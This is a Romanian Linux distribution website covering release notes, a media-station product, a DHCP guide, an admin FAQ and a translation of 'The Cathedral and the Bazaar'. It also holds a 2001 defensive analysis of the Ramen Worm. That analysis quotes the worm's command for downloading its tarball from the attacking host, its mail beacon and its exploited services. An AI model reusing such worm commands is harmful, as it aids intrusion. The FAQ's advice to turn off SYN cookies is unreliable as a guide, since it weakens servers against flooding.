TFM Workstation new DVD image (27.03.2008)

Un nou release TFM Workstation este disponibil pentru download. In aceasta versiune s-a lucrat mult la partea de multimedia. Editarea de sunet, imagine si film au suferit cele mai multe schimbari. Astfel am inclus in distributie:

  • audacity – Free Audio Editor / Recorder
  • LiVES – Free, Open Source video editor and a VJ tool
  • avidemux – free video editor designed for simple cutting, filtering and encoding tasks. Recomended when working with x264 files.
  • gpac – Open Source multimedia framework for research and academic purposes in different aspects of multimedia, with a focus on presentation technologies (graphics, animation and interactivity)
  • sox , xvidcore , mkvtoolnix , libmatroska , libebml , openal
  • ffmpeg, vlc, x264, mplayer au fost updatate la ultimele versiuni svn / git

Am mai inclus in distributie si yasm , cairomm , wxWidgets (GTK) si tnef.

Suportul pentru bluetooth a fost imbunatatit, inkscape a fost updatat (versiunea aceasta stie sa lucreze direct si cu PDF-uri).
Pe parte de securitate s-a updatat suportul pentru firewall (iptables) astfel incit sa reflecte schimbarile ( majore ) din kernel.
Alte aplicatii updatate sint: gimp , firefox si digikam .

ISO-ul il puteti descarca de aici: http://download.tfm.ro/workstation/TFM_3.2-official.iso
Imaginea are aproximativ 3GB si o puteti scrie pe un DVD.

Proiecte conexe TFM

  • TFM Shaper

Advanced traffic control solution based on iptables, iproute2 and tfm-arouter
Maintainer: Liviu Andreicut
Last Update: 27 January 2005

  • TFM Grapher

Solution for graphing network traffic on a per ip basis.
Maintainer: Liviu Andreicut
Last Update: 15 February 2005

  • TFM Arouter

Routing solution based on iptables and iproute2
Maintainer: Liviu Andreicut
Last Update: 15 February 2005

  • TFM enhanced mail system

Enhanced mail system based on qmail/vpopmail/courier-imap
Maintainer: Mihai Moldovanu
Last Update: 19 May 2005

  • TFM Audio Monitoring System

Hardisk audio recording system
Maintainer: Mihai Moldovanu
Last Update: 20 May 2005

  • NetRate

Monitors the network traffic on the network interfaces
Maintainer: Cristian Andrei Calin
Last Update: 10 February 2008

  • TextLib

TextLib text mode library
Maintainer: Liviu Andreicut
Last Update: 03 March 2007

  • TFM Installer Source

The TFM GNU / Linux Installer source, in .tar.bz2 package.
Maintainer: Liviu Andreicut
Last update: 07-march-2008

  • TFM Linux Installer White Paper

Maintainer: Mihai Moldovanu
Last Update: 4 June 2001

  • NoKickIrcop PTlink

PTlink 6.3.7 NoKickIrcop Patch
(obs: This one was included in PTlink 6.5.2)
Maintainer: Mihai Moldovanu
Last Update: 26 June 2001

TFM/GNU Linux Workstation

Am lansat prima varianta complet functionala a TFM Linux Workstation . Aceasta varianta vine dupa multa vreme de teste, suisuri si coborasuri dar in primul rand dupa o lunga perioada de munca. Momentul lansarii este momentul in care TFM Linux Workstation isi va incepe primul ciclu de viata. Primul ciclu de viata probabil va fi scurt urmind sa corectam toate problemele pe care utilizatorii le vor semnala si totodata sa adaugam noi facilitati dorite. Important este feedback-ul userilor.

Ce (va) contine ? 958 de pachete dintre care putem aminti :

  • kernel 2.6.24.3
  • toate pachetele care sint incluse in TFM Linux Server
  • kde 3.5.9
  • openoffice 2.3.1
  • firefox 2.00.12
  • thunderbird
  • k3b
  • Amarok
  • Acrobar Reader
  • Flash Player
  • vlc
  • pidgin (29.03.03 a aparut 2.4.0, inclus deja pe DVD)
  • … practic cam tot ce e nevoie pentru lucrul zilnic cu o statie de lucru la birou sau acasa

Cum se obtine ? Se downloadeaza. Se scrie pe un DVD. Imaginea de DVD contine circa 1.5GB de pachete si 1.5GB extra goodies .

Ce s-a mai schimbat ?
Installer-ul a fost si el pe alocuri imbunatatit si acum ofera posibilitatea pornirii sau nu a KDE-ului odata cu primul boot. Pentru varianta de workstation selectarea pachetelor la install nu va fi posibila.

Versiunea instalata ocupa 5.7Gb de hardisk.

ISO-ul il puteti descarca de aici (click pentru download).
Imaginea are aproximativ 3GB si o puteti scrie pe un DVD.

TFM Media Station

TFM Media Station

Media Station Based on TFM Linux

Ce este un Media Station ?

TFM MediaStation este o solutie completa pentru televiziunile cu circuit inchis. Solutia este folosite pentru afisarea videoclipurilor in care se insereaza spoturi publicitare software care permite afisarea unor video clipuri sau filme cu inserarea in anumite monente de spoturi publicitare. Practic permite clientului ca folosindu-se de contentul video pe care il detine sa cistige bani din reclame sau sa foloseasca sistemul ca mecanism de marketing.

Cui se adreseaza ?

  • agentiilor de publicitate
  • bancilor
  • salilor de fitness
  • barurilor / cafenelelor
  • salilor i-cafee

In primul rind agentiilor de publicitate care detin locatii in care vor sa ruleze continut multimedia si inserturi de reclame iar in al doilea rind bancilor, barurilor, cafenelelor, salilor de fitness care vor sa isi mareasca incasarile prin difuzarea unor spoturi publicitare. In cuvinte pretentioase TFM Media Station se adreseaza celor care vor sa intre in lumea newmedia sau celor care vor sa isi extinda prezenta in lumea newmedia.

Cum functioneaza Media Station ?

Mod independent. Preseturile se incarca de catre filme de pe un laptop de administrare si ruleaza pina in momentul in care se schimba un preset. Rezista foarte bine la caderi de curent. Si reia din punctul in care a ramas.

Mod controlat de la distanta. Preseturile se incarca de la distanta de pe PC-ul de administrare , de pe un PDA sau de pe un telefon mobil.

diagrama_retea_mediastation.png

 

Diagrama retea de TFM MediaStation

Interfata de administrare:

Accesul la interfata de administrare se face cu un browser de web normal pe baza unui user si a unei parole. Administrare login:

mediastation_administrare_login.jpg

Clientul poate seta pentru fiecare zi din saptamina un orar diferit. Editatea programului unei zile se face foarte simplu folosind urmatoarea interfata grafica:

mediastation_dministrare_playlist.jpg

 

Editare playlist
Se defineste numele calupului publicitar, ora la care acesta trebuie sa fie afisat. Fiecare calup publicitar poate contine una sau mai multe reclame.

Odata ce programul a fost setat Media Stationul poate functiona in mod independent fara a fi necesara interventia nimanui. Daca pe o zi nu se face program de reclame programul va rula numai content video.

Ce content video poate afisa MediaStation?

Media Station suporta toate formatele uzuale de film din media digitala (AVI , DIVX , VOB , MPG).

Cum se incarca materialele video in MediaStation ?

Incarcarea materialelor video in MediaStation se face utilzind protocolul FTP. Cu o imbunatatire. Canalul de comanda FTP este criptat. Astfel username-ul si parola sint protejate impotriva atacurilor externe. Administrarea conturilor utilizatorilor care au dreptul sa incarce materiale in Media Station se face tot via web dintr-o interfata similara cu cea de administrare de reclame.

Cit material video incape intr-un TFM Media Station ?

Varianta standard TFM Media Station are ca recomandare folosirea unui hardisk de 250G. Ceea ce inseamna aproximativ 300 ore de material video daca se foloseste codare DIVX. Numarul real de ore poate varia functie de rezolutia la care este materialul video si codarea folosita. Dar capacitatea de stocare este la latitudinea clientului functie de nevoile specifice ale acestuia.

Avantaje TFM Media Station

Varietatea formatelor video suportate de TFM Media Station duce la economie de timp deoarece se elimina conversia intre formatele video. Mai mult Media Station stie sa scaleze filmele si reclamele la rezolutia de afisare pe display eliminind timpul de conversie de dimensiune a materialelor video. Functioneaza pe hardware ieftin. Permite managementul de la distanta via internet.

Bussines model TFM Media Station

Aspectele comerciale legate de TFM Media Station sint derulate prin TFM Group Software S.R.L. Modelul adoptat este similar cu cel al Red Hat. Subscription. Clientul plateste o suma lunara si pe baza acestui abonament are diferite facilitati:

  • Asistenta tehnica de urgenta: Rezolvarea oricarei probleme software in maxim 8 ore in cazul in care Mediastation-ul este acesibil via internet sau via o conexiune VPN.
  • Update-uri automate la versiunea de software.
  • Interventii on site pentru inlocuirea sau upgradarea hardware-ului din Media Station.

De ce ar cumpara cineva de la o firma mica care dezvolta opensource? Presupunem ca firma mica da faliment sau se retrage din activitate. In momentul respectiv clientul are o posibilitate de a folosi si a dezvolta produsul. Isi angajeaza un programator sau o echipa de programatori care sa dezvolte si isi poate desfasura activitatea. In cazul unei firme care dezvolta closed source acest lucru nu este posibil.

Citeva imagini cu TFM MediaStation

booting_tfm_mediastation.jpg

 

TFM Media Station booting

 

TFM Media Station after boot in debug mode

booting_tfm_mediastation1.jpg

Analiza Ramen Worm

In 2001 am prins , analizat , disecat primul malware de linux cu autoreplicare ce a primit numele de Ramen Worm. La vremea respectiva au aparut articole in toate publicatiile online majore. Aceasta analiza este pastrata aici din motive istorice in primul rind.

Ramen Worm - General Details
==============================

1. Is this realy a worm ?
Yes it is .
2. Why ?
It has multiplication ability and it does not infect executables file in order
to multiplicate so it can not be considered a Virus .
3. Multiplication technique :
It will scan whole networks ( random B class networks XXX.XXX.0.0/255.255.0.0 in order find vulnerable systems.
Once a vulnerable system is found it will take control of it ( the worm will have root access on compromised machine) ,
copy itself to the target , and start scanning .

4. Vulnerabilities exploited by the worm
wu-ftpd version 2.6.0
LPRng format vulnerability
rpc.statd    vulnerability

5. Systems Affected
Strings found in the worm indicates that the following systems are targeted :
Redhat 6.0 - (knfsd-1.2.2-4)
Redhat 6.1 - (knfsd-1.4.7-7)
Redhat 6.2 - (nfs-utils-0.1.6-2)
RedHat 7.0 - Guinesss-dev
RedHat 7.0 - Guinesss
but can be affected any other linux running wu-ftpd 2.6.0 or rpc.statd

6.   Systems that are not affected
Win 9x , Win NT , Win 2000
Non X86 Unixes.

7. Worm effects
a) Once a system is compromised the worm will find and replace any index.html file with one file carried inside worm .
b) it will disable on compromised machine FTP anonymous access to the machine ( my oppinion this is a "bug" in the worm )
c) it will disable and erase rpc.statd from the compromised machine
d) it will disable and erase lpd deamon from the compromised machine so any printing on that machine will be impossibe .
e) it will modify inetd.conf on RedHat 6.x and xinetd.conf on RedHat 7.0 and install a fake webserver
on a non standard port (my oppinion it can contain also a buffer overflow exploitable
remotely. But i could't prove that yet). By installing this it allows the spread of the worm.
f) it will remove /etc/hosts.deny
g) it will modify /etc/rc.d/rc.sysinit allowing the worm to be started each time machine is rebooted .
h) it will send mail to the following addreses ( this 2 mail addreses and a password "bl3h" were encrypted in the worm )
   gb31337@hotmail.com
   gb31337@yahoo.com
i) Once worm starts scanning it will consume a large amount of your internet bandwidth. The scanning is verry fast due to
usage of synscan technique .
j) Once the system is rebooted it will restart scanning .

8. Spreading
The worm is spreading very fast due to his very fast Class B network scanning technique . On our network (10 Mb / sec)
the hub was in limitation and the whole bandwidth was consummed. It scanned 2 "B classes" in 15 minutes.

9. Danger
The worm itself seemns is dangerous due to network bandwith consumation , and due to posibility ( not proved yet ) of
remote accessing the compromised box by the worm author.

10. Percentage of boxes vulnerable
There are many boxes vulnerable. It is quite common that Redhat 6.2 or Redhat 7.0 to be installed "standard" making
them vulnerable to this worm. My estimation is that in a class B network worm will find at least 10-20 vulnerable boxes.

My Original postings to BugTraq:
================================

=================================================================================
=================================================================================

Subject:
  sunrpc / wu-ftpd worm ?
Date:
  Mon, 15 Jan 2001 22:41:50 +0200
From:
  Mihai Moldovanu mihaim AT PROFM dot RO
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS DOT COM
References:
  1

Cristian Dumitrescu wrote:

> Hey
> I've been experiencing the same kind of scans in the last 2 weeks, with
> increased density in the last days, from these ip addreses:
>
> 211.120.63.136
> 213.154.132.122
> 210.205.6.215
> 24.114.48.24
> 62.83.125.82
> 193.231.199.4
> 193.40.223.66
> 65.3.3.83
> 193.230.227.234
> > 24.26.121.156
> > 24.168.66.119
> > 64.31.226.156
> > 142.169.227.102
> > 193.226.15.15
> > 211.218.144.11

Same problems here :
38.232.191.200
24.169.70.243
194.102.254.118
63.146.209.50

But the most interesting is :
130.111.148.69 wich seems to be a worm launcher site .
It will connect to the taget machine on 111 or 21 and will exploit the well
known
rpc.statd and wu-ftp 2.6.0 bug to
gain root on the remote machine.

The tar itself is downloaded from the that machine on port 27374 .

" lynx -source http://%s:27374 > /usr/src/.poop/ramen.tgz "

After a succesfull install it seems it will send a mail with the command :
" echo Eat Your Ramen! | mail -s % % " to some obscure hotmail.com account .

It seems that it has some sort of class B scanner and exploits for rpc.statd and
wu-ftpd

If anyone is interested in taking a deeper look in it mail me and i will send
the
.tgz  or you can get it from the site i mentioned above.

Best Regards,

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://tfm.profm.ro/
             http://www.slashdot.ro/

=================================================================================
=================================================================================

Subject:
  Re: anyone else seen an increase in sunrpc scans these days?
Date:
  Mon, 15 Jan 2001 14:40:16 +0200
From:
  Mihai Moldovanu mihaim at profm dot ro
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS dot COM
References:
  1

Jason Lewis wrote:

> I couldn't find any of those addresses, but I have similar scans in my logs.
>
> 63.91.6.36
> 64.32.209.213
> 64.21.114.2
> 66.22.62.2
> 216.98.160.251

Yes . The same problem here . But not only 111 . 21 also.
We deployed a honnypot and waited to be compromised. It took 12 hours to be
compromised. I took it out of the network
and this is what i found on it :
It seemns like a worm that installs StatDXscan  ( Class B rpc.statd scanner) ,
wu-ftpd scanner , a modified t0rn rootkit along with Adore LKM rootkit , and
flood
tools : Sl2 , smurf5 , tojaned sshd running on port 48480 )
t0rnscan  has inside it the following string:  irc.webbernet.net:6667

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://tfm.profm.ro/
             http://www.developers.ro/

=================================================================================
=================================================================================
Subject:
  Ramen worm . More details on it. ( found a password and e-mails crypted inside it)
Date:
  Tue, 16 Jan 2001 22:19:30 +0200
From:
  Mihai Moldovanu mihaim at profm dot ro
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS dot COM
References:
  1

I completed reverse engineering the ramen worm. There are 3 crypted text
messages in the worm :
2 are email addresses :
Decrypted: "gb31337@hotmail.com" ,  in executable ->  "fa20226?gnsl`hk-bnl"
Decrypted: "gb31337@yahoo.com" ,   in executable ->  "fa20226?x`gnn-bnl"
and a crypted password :
Decrypted "bl3h"  ,   in executable -> "ak2g"
This texts can be found in almost all ELF worm executables.
Crypting algorithm is verry easy.

For each characted in crypted text add 1 and you will obtain the plain text
i used the following C code to decrypt :

for (i= 0 ;i < strlen(text) ;i++) a[i] = a[i] +1;

The asp executable ( the one wich get's installed in /sbin/asp and serve
requests on 27374 )  has a strange getline function coded wich
seems to be specialy crafted to allow remote upload / execution of code .
Unfortunately I can't prove that function have a buffer
overflow in it .

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://www.tfm.ro
        http://linux.tfm.ro
        http://portal.tfm.ro
        http://www.slashdot.ro

Configurarea DHCP

Configurarea serverului DHCP

Dupa ce aveti un sistem TFM/GNU Linux instalat cu cel putin o place de retea in sistem tastati ifconfig -a. Ar trebui sa vedeti ceva de genul:

eth0      Link encap:10Mbps Ethernet  HWaddr 00:C0:4F:D3:C4:62
          inet addr:183.217.19.43  Bcast:183.217.19.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2875542 errors:0 dropped:0 overruns:0
          TX packets:218647 errors:0 dropped:0 overruns:0
          Interrupt:11 Base address:0x210

Daca nu spune MULTICAST va trebui sa va reconfigurati kernel-ul si sa adaugati suportul pentru multicast. Acest pas este necesar doar daca aveti un sistem TFM/GNU Linux cu kernel customizat. In mod implicit TFM/GNU Linux vine cu suport de multicast in kernel.

Urmatorul pas este sa adaugati ruta pentru 255.255.255.255. Citat din DHCPd README:

”Pentru ca dhcpd sa functioneze corect cu clientii DHCP (ex. Windows 95), el trebuie sa fie capabil de a trimite pachete cu destinatia adresa IP 255.255.255.255. Din pacate, Linux insista sa schimbe 255.255.255.255 in adresa de subnet broadcast locala (aici, aceasta fiind 192.5.5.223). Aceasta se transforma intr-o violare de protocol DHCP, iar in timp ce multi clienti DHCP nu detecteaza aceasta problema, unii (ex. toti clientii DHCP Microsoft) o fac. Clientii care au aceasta problema vor parea ca nu vad mesajele DHCPOFFER care vin dinspre server.”

Tastati: route add -host 255.255.255.255 dev eth0

Daca primiti mesajul “255.255.255.255: Unknown host”, puteti incerca sa adaugati urmatoarea intrare in fisierul /etc/hosts :

255.255.255.255 all-ones

Apoi, tastati:

route add 255.255.255.0 dev eth0

eth0 este desigur numele placii de retea pe care o folositi. Daca difera, schimbati-l cu cel corespunzator.

Optiuni ale DHCPD

Acum trebuie sa configurati DHCPD. Pentru a putea face aceasta, va trebui sa creati sau sa editati /etc/dhcpd/dhcpd.conf.

Cel mai probabil, ceea ce veti dori sa faceti va fi sa alocati adresele IP la intamplare. Aceasta poate fi facuta cu urmatoarele setari:

# Exemplu /etc/dhcpd.conf
# (add your comments here)
default-lease-time 600;
max-lease-time 7200;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name "mydomain.org";

subnet 192.168.1.0 netmask 255.255.255.0 {
   range 192.168.1.10 192.168.1.100;
   range 192.168.1.150 192.168.1.200;
}

Aceasta va avea ca rezultat in serverul DHCP alocarea catre un client a unui IP din sirul 192.168.1.10-192.168.1.100 sau 192.168.1.150-192.168.1.200. Va atribui o adresa IP pentru 600 de secunde, daca clientul nu cere un interval specific de timp. In caz contrar, maximul (permis) alocat va fi de 7200 de secunde. De asemenea, serverul va “sfatui”clientul ca ar trebui sa foloseasca 255.255.255.0 ca subnet mask, 192.168.1.255 ca adresa de broadcast, 192.168.1.254 ca router/gateway si 192.168.1.1 si 192.168.1.2 ca servere DNS.

Daca veti avea nevoie sa specificati un server WINS pentru clientii dumneavoastra de Windows, va trebui sa includeti optiunea netbios-name-servers ca, de exemplu:

option netbios-name-servers 192.168.1.1;

Puteti, de asemenea, sa specificati adrese IP bazate pe adresele de ethernet ale clientilor, de exemplu:

host haagen {
   hardware ethernet 08:00:2b:4c:59:23;
   fixed-address 192.168.1.222;
}

Aceasta va aloca adresa IP 192.168.1.222 unui client cu adresa ethernet 08:00:2b:4c:59:23.

De asemenea, prelucrand aceste exemple, puteti obtine clienti care sa aiba adrese IP “statice” (ex. servere) si altii cu IP-uri repartizate dinamic (ex. utilizatorii mobili cu laptop-uri). Exista si alte optiuni, de exemplu adresele de nis server, adresele de time server etc., daca aveti nevoie de aceste optiuni va rugam cititi manualul dhcpd.conf.

Pornirea dhcpd in TFM/GNU linux

Pornirea serviciului dhcpd in linux se face :

/etc/rc.d/services/rc.dhcpd start

Oprirea dhcpd in TFM/GNU Linux

/etc/rc.d/services/rc.dhcpd stop

Alte documente interesante

Linux Magazine are un articol destul de bun in numarul sau din Aprilie, numit Network Nirvana: How to make Network Configuration as easy as DHCP, care vorbeste despre setarea DHCP.

Note Finale

  • trebuie scrisa partea referitoare la rc.dhcrelay

Intrebari frecvente

I: This guide didn’t aswered my question. What can i do ?
R: You can send an email to us and we will answer your question.

I: Where is located the password config file for PPTP tuneling ?
R: The password can be found in /etc/ppp/chap-secrets

I: How can I create a new user, delete one or change it’s password ?
R: Use the commands useradd and passwd:
useradd username
userdel username
passwd username

I: Is there a browser in text mode in TFM ?
R: Yes, use Elinks with the following commands:
lynks
links
elinks

I: How can I test an email account and send throught it’s server using telnet ?
R: Use the following commands, considering you want to send from mail server called mailer.com:

dig MX mailer.com (to find the Mail Exchanger IP )
telnet mailer.com 25
hello tfm.ro
mail from: admin@nosuchdomain.ro
rcpt to: mailtoverify@domain.com
data
blah blah
.
quit

I: How can I see what processes are eating too much CPU time or RAM ?
R: Use “top” command.

I: How to find how much free space I got on every mounted device ?
R: Use “df -aH ” command.

I: How to find how fast my hard drives are ?
R: Use the following command:
hdparm -tT /dev/hda3 (where hda3 is the drive/partition you want to benchmark You will get a result like this:
/dev/hda3:
Timing buffer-cache reads: 128 MB in 1.08 seconds =118.52 MB/sec
Timing buffered disk reads: 64 MB in 1.61 seconds = 39.75 MB/sec

I: How can i monitor the trafic on a specific interface ?
R: Use “iptraf” or “netrate” command.

I: Where is my site hosted by default ?
R: By default it’s in /var/www

I: Where from can i manage my ftp accounts via web ?
R: You can use TFM pureftpd admin, located in www.domain.com/tfm_adm/login.php

I: How to see what hard drives i got inside my server ?
R: Use “fdisk -l”.

I: How to see how much space a directory uses ?
R: Use “du -s”

I: How to stop all processes named “*http” ?
R: Use “killall http”

I: How to setup Vacation mode for a specified mail account ?
R: Use Qmailadmin (usually found in http://www.yourwebsite.com/cgi-bin/qmailadmin) and Edit mail account, then check Vacation and set the Vacation message.

I: How to forward an email that’s in Vacation mode ?
R: After using Qmailadmin and setting up Vacation mode, go into /var/vpopmail/domains/yourdomain.com/username and you will see a file called .qmail. Edit it and add as a second line the path to the email account maildir you want to be forwarded (for example /var/vpopmail/domains/yourdomain.com/office/Maildir/

I: How to set a task to be executed hourly/daily/weekly/monthly ?
R: In /etc directory, you will find:
/cron.daily
/cron.hourly
/cron.monthly
/cron.weekly

Create in there an executable file containing the command you want to be executed daily. For example:

#!/bin/sh

/usr/bin/php update.php

I: How to find where a file is located ?
R: Use “whereis” command. For example “whereis top”

I: Serverul meu trebuie sa suporte un numar foarte mare de conexiuni. Ce setari trebuie sa fac ?
R: Setarile recomandate pentru un numar foarte mare de conexiuni sint:

echo 83886080 > /proc/sys/net/core/wmem_max
echo 83886080 > /proc/sys/net/core/wmem_default
echo 335544320 > /proc/sys/net/core/rmem_max
echo 335544320 > /proc/sys/net/core/rmem_default
echo 65536 > /proc/sys/fs/file-max
echo 65536 > /proc/sys/net/ipv4/tcp_max_tw_buckets
echo 65536 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
echo 15 > /proc/sys/net/ipv4/tcp_fin_timeout
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
echo 100000 > /proc/sys/net/core/netdev_max_backlog

Catedrala si bazarul

Catedrala si Bazarul

de Eric S. Raymond

tradusa de Mihai Moldovanu (mihaim LA tfm PUNCT ro)

Disec un proiect free-software de succes, fetchmail, care a fost condus ca test al unor teorii surprinzatoare despre dezvoltarea softului sugerate de istoria Linuxului. Discut aceste teorii ca doua stiluri de dezvoltare fundamental diferite, “catedrala” (modelul marii majoritati in lumea comerciala) vis a vis de “bazar” (modelul lumii Linuxului). Arat ca aceste modele deriva din principii opuse asupra naturii software-debugging task. Apoi sustin afirmatia “cu destui ochi, toate bug-urile sint reduse” cu argumente din experienta Linuxului, sugerez analogii productive cu alte sisteme auto-corectante ale agentilor individuali si concluzionez cu o explorare a implicatiilor acestui punct de vedere pentru viitorul softului.

1. Catedrala si Bazarul

Linuxul este subversiv. Cine s-ar fi gindit, chiar acum 5 ani, ca un sistem de operare world-class s-ar putea realiza ca prin minune datorita hackinguluipart-time al citorva mii de developeri raspinditi pe tot globul, uniti numai prin slabele legaturi ale Internetului ?

Eu sigur nu. Pina cind Linuxul a aparut pe radarul meu la inceputul lui 1993,deja fusesem implicat de 10 ani in dezvoltarea Unixului si free-softului. Am fost unul din primii GNU contributors la mijocul anilor 80.Pusesem o multzime de free software pe internet, dezvoltind singur sau cu altii mai multe programe (nethack, Emacs VC si GUD, xlife, etc.) care inca se mai folosesc. Credeam ca stiam cum se face.

Linux a rasturnat multe din cunostintele mele. Am propovaduit utilitarele mici, obtinerea rapida a prototipurilor si programarea evolutiva din Unix ani de zile. Dar am crezut ca exista un grad de complexitate critic, de la care este necesara o abordare o abordare mai centralizata. Credeam ca softul cel mai important (sisteme de operare si utilitarele cu adevarat mari cum ar fi Emacs) necesita o constructie tip catedrala, fiind concepute cu grija de un vrajitor sau de grupuri mici de magi in izolare, beta fiind lansate cind le vine timpul si nu inainte.

Stilul de dezvoltare al lui Linus Torvald – release devreme si des, delega tot ce poti, fii deschis pina la dezordine – a fost o surpriza. Aici nu exista o constructie de catedrala, in liniste shi cu respect – mai curind, comunitatea Linux seamana cu un mare bazar agitat, cu agende de lucru si abordari diferite (simbolizat din plin de siteurile archive Linux, care ar inscrie pe oricine) din care ar parea ca un sistem coerent si stabil ar putea aparea numai printr-o succesiune de miracole.

Adevarul ca acest stil de bazar parea sa mearga si a fost un soc ca inca bine. Pe masura ce ma orientam, am lucrat nu numai la proiecte individuale, ci am si incercat sa inteleg de ce lumea Linux nu numai ca nu se dezintegra in confuzie, ba chiar devenea tot mai puternica cu o viteza greu de conceput pentru stilul Catedrala.

Catre mijlocul anului 1996 am crezut ca incep sa inteleg. Sansa mi-a oferit-o metoda perfecta de a-mi testa teoria, sub forma unui proiect free-software pe care am putut sa incerc sa-l conduc in stilul Bazar. Asa am si facut – si a fost un succes semnificativ.

In restul articolului voi povesti acest proiect si-l voi folosi pentru a propune citeva aforisme despre dezvoltarea efectiva a free-software. Nu am aflat toate astea in lumea Linux, dar vom vedea cum lumea Linux le particularizeaza. Daca am dreptate, va vor ajuta sa intelegeti exact ce face comunitatea Linux o sursa de soft bun – si sa deveniti mai productivi.

2. Mailul trebuie sa treaca

Din 1993 m-am ocupat de partea tehnica a unui free-access ISP mic, numit Chester County InterLink (CCIL) in West Chester, Pennsylvania (am fost unul din fondatorii CCIL si am scris singurul nostru software BBS multiuser – puteti verifica prin telnet la locke.ccil.org. Azi suporta aproape 3000 de useri pe 19 linii). Serviciul mi-a permis acces pe net 24 de ore din 24 prin linia de 56K a CCIL – practic, mi l-a impus ca o necesitate.

Asadar, ma obisnuisem cu email instantaneu pe Internet. Din motive complexe, a fost greu sa fac SLIP sa lucreze intre acasa (snark.thyrsus.com) si CCIL. Cind am reusit in cele din urma, m-am trezit ca telnet la locke periodic pentru mail era enervant. Ce vroiam era ca mailul sa vina la snark astfel
incit biff(1) sa ma anunte cind sosea.

Simplul forward sendmail n-ar fi mers, pentru ca snark nu e intotdeauna pe net si nu are o adresa statica IP. Ce-mi trebuia era un program care ar fi ajuns prin conexiunea mea SLIP si mi-ar fi trimis mailul local. Stiam ca exista asa ceva si majoritatea foloseau un protocol simplu numit POP (Post Office Protocol). Si aproape sigur era deja un server POP3 inclus in sistemulde operare BSD/OS al lui locke.

Aveam nevoie de un utilizator POP3. Asa ca am mers pe net si am gasit unul. De fapt, am gasit 3 sau 4. Am folosit pop-perl o vreme, dar ii lipsea ceea ce parea o trasatura evidenta, capacitatea de a modifica adresa la fetched mail astfel incit raspunsul sa functioneze corect.

Problema era: presupunind ca cineva pe nume “Joe” de pe locke imi trimiteamail. Daca transferam mailul pe snark si apoi incercam sa raspund, mailerul meu ar fi incercat sa trimita raspunsul la un “Joe” inexistent de pe snark. Scrierea adreselor de mina @ccil.org a devenit repede o suferinta serioasa.

Asta ar fi trebuit sigur sa faca computerul pentru mine (de fapt, in conformitate cu RFC1123 sectiunea 5.2.18, sendmail ar fi trebuit s-o faca). Dar niciunul din utilizatorii POP existenti nu stia cum ! Si asta ne aduce la prima lectie:

Orice treaba buna in domeniul softului incepe prin a rezolva o
problema personala a developerului

Poate ca ar fi trebuit sa fie evident (e proverbial ca “Necesitatea este mama inventiilor”), dar prea des developerii de software isi petrec timpul asteptind plata unor programe de care nu au nevoie si la care nu tin. Dar asta nu se intimpla in lumea Linux – ceea ce ar putea explica de ce calitatea softului produs in aceasta lume este atit de buna.

Deci, m-am lansat eu imediat intr-un virtej dezlantuit pentru a crea un nou utilizator POP3 care sa concureze cu cei existenti ? Niciodata ! Am cautat cu grija intre utilitarele POP pe care le aveam la indemina, intrebindu-ma “care e cel mai aproape de ceea ce vreau ?”. Pentru ca :

Programatorii buni stiu ce sa scrie. Cei foarte buni stiu ce sa
rescrie (si refoloseasca)

In timp ce n-am pretentia ca as fi un foarte bun programator, incerc sa imit unul foarte bun. O trasatura importanta a celor foarte buni este lenea constructiva. Ei stiu ca nota maxima se obtine prin rezultate, nu prin efort si e aproape totdeauna mai usor cu acest punct de plecare decit sa pornesti de la zero.

Linus, de exemplu, n-a incercat sa scrie Linuxul de la inceput. A inceput prin a refolosi code si idei din Minix, un OS Unix-like mic pentru 386. In cele din urma, Minix code a disparut sau a fost complet rescris – dar cit a fost, a fost structura pentru puiul care in final a devenit Linux.

Pe aceeasi idee, am cautat un utilitar POP existent care era suficient de bine scris, pentru a crea o baza.

Traditia de source-sharing din lumea Unix a fost intotdeauna deschis pentru refolosirea code (de aceea proiectul GNU a ales Unix ca OS de baza, in ciuda rezervelor asupra OS insusi). Lumea Linux a dus aceasta traditie aproape de limita tehnologica; are terrabytes de surse deschise si accesibile. Asa ca ai mai multe sanse de a gasi un aproape-suficient in lumea Linux decit oriunde in alta parte.

Si mie mi-a mers. Cu ce gasisem deja, a doua cautare a dus la un total de 9 candidate – fetchpop, pop Tart, get-mail, gwpop, pimp, pop-perl, popc, popmail si upop. Primul pe care l-am instalat a fost “fetchpop” de Seung-HongOh. Am folosit rescrierea headerelor si am facut alte imbunatatiri pe care autorul le-a acceptat in varianta 1.9.

Totusi, dupa citeva saptamini, am dat peste “popclient” code de Carl Harris si am descoperit ca am o problema. Desi fetchpop avea citeva idei originale bune (cum ar fi daemon mode-ul), nu mergea decit POP3 si era destul de amator scris (Seung-Hong era un programator destept dar fara experienta, ceea ce se vedea in ambele variante). Code-ul lui Carl era mai bun, profesionist si solid, dar ii lipseau destul de multe caracteristici fetchpop importante si greu de implementat (inclusiv cele pe care le scrisesem eu).

Sa perseverez sau sa schimb ? Daca schimbam, renuntam la tot ce facusem deja pentru o baza de implementare mai buna.

Un motiv practic pentru schimbare era suportul multiple-protocol. POP3 este cel mai folosit intre protocoalele de posta, dar nu singurul. Fetchpop si celelalte nu mergeau pe POP2, RPOP sau APOP si eu deja ma gindeam ca as putea adauga, poate, IMAP (Internet Message Access Protocol, cel mai nou si mai puternic protocol de posta) de amorul artei.

Dar aveam si un motiv teoretic sa cred ca schimbarea in sine ar fi buna, ceva ce am invatat mult inainte de Linux.

“Planuieste sa arunci intr-o singura directie; oricum o vei face”

(Fred Brooks, “Miticul Om-Luna” capitolul 11)

Altfel spus, nu intelegi intr-adevar problema pina cind nu gasesti o solutie.A doua oara, poate ca vei sti suficient ca s-o rezolvi. Asa ca daca vrei sa rezolvi ceva, fii pregatit sa o iei de la capat cel putin o data. Ei bine (m-am gindit), schimbarile la fetchpop au fost prima mea incercare.
Asa ca am schimbat.

